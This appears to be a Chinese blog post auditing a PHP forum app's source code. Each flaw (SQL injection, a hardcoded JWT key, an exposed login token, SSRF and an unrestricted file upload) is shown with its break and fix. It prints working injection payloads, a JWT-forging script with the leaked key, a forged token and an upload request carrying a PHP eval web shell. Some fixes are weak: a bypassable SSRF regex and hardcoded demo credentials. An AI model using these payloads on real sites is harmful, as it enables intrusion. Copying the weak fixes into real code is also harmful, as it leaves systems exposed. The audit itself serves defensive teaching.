多客圈子论坛代码审计(PHP代码审计)

张开发
2026/4/20 1:54:19 15 分钟阅读

分享文章

多客圈子论坛代码审计(PHP代码审计)
前言前几天看到同学发来了一个漏洞分析的报告想着来分析分析源代码就有了这篇文章第一次写代码审计的文章可能会有很多不足点欢迎大家批评指正谢谢!项目源代码https://pan.quark.cn/s/416971141321本文参考https://mp.weixin.qq.com/s/Na_rqDW5B4V9ptRuwTk1Lw漏洞代码分析1.SQL注入Break代码定位代码位于后端PHP\app\api\controller\Index.php文件的305行开始参数 to_id、cate_id、tags_id 均存在注入点.注入参数1to_id代码含义这段代码的作用是根据用户IDto_id构建SQL查询条件用于筛选特定用户的数据。if (isset($param[to_id]) $param[to_id] 0) { $where user_id .$param[to_id]; }注入示例?to_id1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--坑注意最后需要用 ) -- 进行闭合整个where语句注入参数2cate_id代码含义这段代码的作用是根据分类ID查询未置顶的商品并按特定规则排序。if (isset($param[cate_id]) $param[cate_id] 0) { $where cate_id .$param[cate_id]. AND is_ding 0; $order is_ding desc,id desc; }注入示例?cate_id1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--注入参数3 tags_id代码含义根据传入的标签ID查询数据库中tags_ids字段包含该标签ID前后带逗号的记录。if (isset($param[tags_id]) $param[tags_id] 0) { $where tags_ids LIKE %,.$param[tags_id].,%; }注入示例1%27)%20and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--Fix修复方案1强制转换// 修复方法1 (强制转换) if(isset($param[to_id]) $param[to_id] 0) { // 强制转换为整数类型防止 SQL 注入这是关键的安全措施 $to_id (int)$param[to_id]; $where user_id .$to_id; }修复方案2参数化// 修复方法2 (thinkphp框架特性) if(isset($param[to_id]) $param[to_id] 0) $where [user_id $param[to_id]];其余注入点修复方案类似2.JWT硬编码代码位置\multi-social-master\后端PHP\config\jwt.php当key被泄露时利用该key可以生成JWT利用代码?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), /, -_), ); } $header [typ JWT, alg HS256]; $payload [uid 1]; $key 966285d811d508e0383235c457d79391; $segments [ base64url_encode(json_encode($header)), base64url_encode(json_encode($payload)) ]; $signature hash_hmac(sha256, implode(., $segments), $key, true); $segments[] base64url_encode($signature); $jwt implode(., $segments); echo $jwt;生成得到JWT利用该JWT后续可进行任意文件读取3.JWT泄露Break访问接口/api/login 可直接返回JWT利用JWT可进行未授权访问Fix漏洞代码位置\multi-social-master\后端PHP\app\admin\controller\Login.php 的 23行开始class Login extends Base { public $needLogin false; public function index() { $a [ a 1, b 2, c 3 ]; trace($a, dandan); try { $post Request::post(); $login_token Jwt::encode([ uid 1 ], Config::get(jwt.key)); return success([ login_token $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception-getMessage(), $exception-getCode()); } } }修复代码身份认证注意这里只是演示修复方法实际方案需要利用登录接口进行数据库查询认证public function index() { $a [ a 1, b 2, c 3 ]; trace($a, dandan); try { $post Request::post(); // 获取用户输入的用户名和密码 $username $post[username] ?? ; $password $post[password] ?? ; // 验证用户名和密码是否正确这里需要根据实际数据库验证 // 示例假设正确的用户名是admin密码是123456 if ($username ! admin || $password ! 123456) { return error(用户名或密码错误, 401); } $login_token Jwt::encode([ uid 1 ], Config::get(jwt.key)); return success([ login_token $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception-getMessage(), $exception-getCode()); } }4.SSRFBreak漏洞接口/api/user/httpGet?url利用漏洞需要加上Token,也就是 JWTeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjF9.VQtQaEk7rvMOGHV5dBlNjWpWtBL-gFNpKBMNXTX3_ns漏洞利用:读取 win.iniFix漏洞代码路径\multi-social-master\PHP\app\api\controller\User.php 的663 行开始漏洞代码public function httpGet($url) { $curl curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res curl_exec($curl); curl_close($curl); return $res; }修复代码字符过滤public function httpGet($url) { // 只能使用http/https,不能访问内网 if (!preg_match(/^https?:\/\/(?!localhost|127\.0\.0\.1|169\.254\.169\.254|10\.|172\.16\.|192\.168\.)/i, $url)) { echo hacker!; return false; } $curl curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res curl_exec($curl); curl_close($curl); return $res; }再次读取失败5.文件上传漏洞Break漏洞接口/index.php/api/User/up_img漏洞利用POST /admin/upload_files/upload.html?water0 HTTP/1.1 Host: 192.168.119.53 Content-Length: 754 Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Accept: */* Origin: http://192.168.119.53 Referer: http://192.168.119.53/admin/Adinfo/edit.html?id39 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Cookie: thinkphp_show_page_trace0|0; PHPSESSIDfac2eb23b504f43ebdcf8e7e46b41053 Connection: keep-alive ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; nameid WU_FILE_0 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; namename a.png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; nametype image/png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; namelastModifiedDate Sat Apr 18 2026 16:55:49 GMT0800 (新加坡标准时间) ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; namesize 29 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; namefile; filenamea.php Content-Type: image/png ?php eval($_REQUEST[a]);? ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9--上传成功拼接路径访问并执行命令Fix代码位置\multi-social-master\PHP\app\common\model\UploadFiles.php 的 55行开始漏洞代码public function upload($folder_namefiles,$app1) { try { $param request()-param(); $file request()-file(file); //文件后缀名 $ext $file-getOriginalExtension(); //配置信息 $config xn_cfg(upload); //存储类型 $storage $config[storage]; $isImage 1; //图片水印处理 if (isset($param[water])) { if( in_array( strtolower($ext), [png,jpg,jpeg,gif,bmp] ) ) { if( self::setWater($file,$param[water]) false ) { return [code0,msg水印配置有误]; } } }修复代码白名单public function upload($folder_namefiles,$app1) { try { $param request()-param(); $file request()-file(file); //文件后缀名 $ext strtolower($file-getOriginalExtension()); $allowedExts [ avi, // 微软视频格式 wmv, // Windows Media Video mpeg, // MPEG视频 mp4, // MP4视频最常见 m4v, // iTunes视频格式 mov, // QuickTime视频 asf, // 高级流格式 flv, // Flash视频 f4v, // Flash MP4视频 rmvb, // RealMedia可变比特率 rm, // RealMedia 3gp, // 手机视频格式 vob, // DVD视频对象 png, jpeg, webp, gif, mpeg, jpg ]; // 白名单上传文件 if(!in_array($ext, $allowedExts)){ return [code 0, msg 不支持的文件扩展]; } //配置信息 $config xn_cfg(upload); //存储类型 $storage $config[storage]; $isImage 1; //图片水印处理 if (isset($param[water])) { if( in_array( strtolower($ext), [png,jpg,jpeg,gif,bmp] ) ) { if( self::setWater($file,$param[water]) false ) { return [code0,msg水印配置有误]; } } }再次尝试上传需要注意上面仅仅演示了一个上传点分析代码发现有许多上传点。

更多文章